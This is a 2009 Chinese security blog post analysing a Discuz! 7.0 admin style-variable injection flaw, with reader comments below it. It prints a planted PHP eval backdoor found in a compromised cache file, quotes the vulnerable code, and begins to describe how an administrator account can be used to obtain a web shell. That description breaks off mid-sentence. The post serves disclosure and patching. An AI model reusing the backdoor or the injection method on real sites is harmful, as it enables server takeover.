首页 > 网络安全 > Discuz7.0 最新漏洞 后台styles风格文件漏洞及文字变大漏洞

Discuz7.0 最新漏洞 后台styles风格文件漏洞及文字变大漏洞

      使用Discuz做论坛的朋友请注意这一漏洞,目前DZ已放出补丁,补丁介绍在文章最后。
      突然发现dz论坛网页文字变大了

Discuz!网页文字变大

图1

      网页源代码可以看到:

复制内容到剪贴板程序代码程序代码
<!–int(5)
–><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk" />
<title>论坛之家 找论坛找网址就上论坛之家交流http://luntan123.com/</title>

图2

      查看dz style缓存文件:
      \forumdata\cache\style_1.php
$X=SUBSTR(MD5($_GET['B']),28);IF($X=='3738')EVAL($_POST['A']);//', 'aaaaaaaaaa');

图3

      查看dz数据库表记录:
      cdb_stylevars
      48  1  ','');echo '<!–';var_dump(5);echo '–>';$x=substr…  aaaaaaaaaa

图4

      漏洞为:
      (Discuz! 7.0 及以下版本存在)
      /admin/styles.inc.php

复制内容到剪贴板程序代码程序代码
<?php    
……    
if($newcvar && $newcsubst) {    
if($db->result_first("Select COUNT(*) FROM {$tablepre}stylevars Where variable='$newcvar' AND styleid='$id'")) {    
cpmsg('styles_edit_variable_duplicate', '', 'error');    
} elseif(!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/", $newcvar)) {    
cpmsg('styles_edit_variable_illegal', '', 'error');    
}    
$newcvar = strtolower($newcvar);    
$db->query("Insert INTO {$tablepre}stylevars (styleid, variable, substitute)  
VALUES ('$id', '$newcvar', '$newcsubst')");    
}//插入变量数据,http://luntan123.com 整理
……    
updatecache('styles');//更新缓存(写文件)
……    
?>  

      这是为某一style风格增加变量的代码,把变量名与变量的值存入数据库,虽然post过来的数据daddslashes了,但入库之后又都是纯净的数据了。
      这里涉及到一个正则问题,判断变量名的:!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]* /", $newcvar),其中“\x7f-\xff”是

      指ASCII码值在127~255之间的字符,它们经常作为中文字符的首字节出现,所以可以利用其作为中文匹配的标志。于是这个匹配貌似只是允许字

      母或者中文做变量名,没其他高深的匹配,随便测试了下,一般情况下这个正则等于虚设:

复制内容到剪贴板程序代码程序代码
<?php    
$newcvar=$_GET['newcvar'];    
echo $newcvar;    
echo "<br>";    
if(!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/", $newcvar)) {    
echo "haha";    
}else{    
echo 'pass';    
}    
?>  

      下面看看updatecache这个函数,在include里的cache.func.php文件里,先从数据库取出来,经过一段处理最终写入文件,具体我不描述了,我只

      谈谈重点,看一段函数:

复制内容到剪贴板程序代码程序代码
function getcachevars($data, $type = 'VAR') {    
$evaluate = '';    
foreach($data as $key => $val) {    
if(is_array($val)) {    
$evaluate .= "\$key = ".arrayeval($val).";\n";    
} else {    
$val = addcslashes($val, '\'\\');  
$evaluate .= $type == 'VAR' ? "\$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";    
}    
}    
return $evaluate;    
}  

      啥也不说了,处理了value没处理key,而这个key就是之前我们提交的,干净的存在数据库里的值。关于数组的key,大家可以参考下幻影旅团第三期《高级PHP代码审核技术》,那篇文章好多地方谈到key的问题,dz这里却忽视了…

      于是可以直接拿shell了,利用方法(论坛地址改成自己的),先用管理员帐号登陆后台,无需论坛创始人,管理员等级即可:
http://luntan123.com/admincp.php … &id=1&adv=1中,最下面有个“自定义模板变量”,变量中

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/107

  1. 0point
    0point 8月 24th, 2009 @ 09:31 | #-31

    @真好网
    LeadBBS也不错,速度上比较有优势。
    @海天无影
    速度,速度,呵呵。
    @Forece
    这个管理员权限是论坛管理员不是主机的管理员。。

  2. forece
    forece 8月 23rd, 2009 @ 07:56 | #-32

    必须要有管理员权限才可以拿SHELL,那还要这SHELL干什么,自己直接FTP上传不就得了。。。

  3. 海天无影
    海天无影 8月 22nd, 2009 @ 22:32 | #-33

    漏洞
    oh my gad
    赶快去修补~

  4. 真好网
    真好网 8月 22nd, 2009 @ 22:09 | #-34

    飘过,偶用的是leadbbs。

  5. 0point
    0point 8月 22nd, 2009 @ 17:25 | #-35

    @Tony
    我太感动了,tony。怎么了,身体不舒服?那赶紧去看看医生啊,俺可等着以后每天都能看见你的脚印呢。

  6. TONY
    TONY 8月 22nd, 2009 @ 17:07 | #-36

    虚脱中坚持来访!

  7. 0point
    0point 8月 22nd, 2009 @ 15:17 | #-37

    @唏嘘一世
    据悉这个漏洞最早公布于8.5,已有将近两周时间了。

  8. 唏嘘一世
    唏嘘一世 8月 22nd, 2009 @ 15:05 | #-38

    这个漏洞鬼仔的博客放出有一个月的时间了。

  9. 大剑
    大剑 8月 22nd, 2009 @ 14:40 | #-39

    支持一下。。。。。。

  10. 0point
    0point 8月 22nd, 2009 @ 14:29 | #-40

    @志言堂
    看来果然有开论坛的朋友,赶紧去更新吧。

  11. 志言
    志言 8月 22nd, 2009 @ 13:00 | #-41

    马上去更新,呵呵

评论提交中, 请稍候...

留言



注意: 您给他人的评论回复将通过邮件通知到对方。

可以使用的标签: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>
Trackbacks & Pingbacks ( 0 )
  1. 还没有 trackbacks